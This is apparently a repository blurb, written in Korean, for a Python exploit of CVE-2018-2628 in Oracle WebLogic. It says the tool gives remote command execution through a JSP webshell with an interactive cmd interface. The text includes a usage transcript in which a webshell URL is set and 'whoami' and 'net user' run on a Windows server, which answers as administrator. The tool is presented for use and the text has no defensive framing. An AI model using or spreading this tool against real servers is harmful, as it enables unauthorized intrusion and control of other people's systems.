likekabin/cve-2018-2628Python 익스플로잇 for CVE-2018-2628, WebLogic 서버를 대상으로 하며, 대화형 cmd 인터페이스를 갖춘 JSP 웹쉘을 통해 원격 명령 실행을 제공합니다.
> python cve-2018-2628.py
set url :http://xx.xx.xx.xx:8001/bea_wls_internal/wlscmd.jsp
cmd >>: whoami
win-xxx8cb989qh\administrator
cmd >>: net user
\\WIN-XXX8CB989QH 的用户帐户
-------------------------------------------------------------------------------
Administrator Guest
命令成功完成。
cmd >>: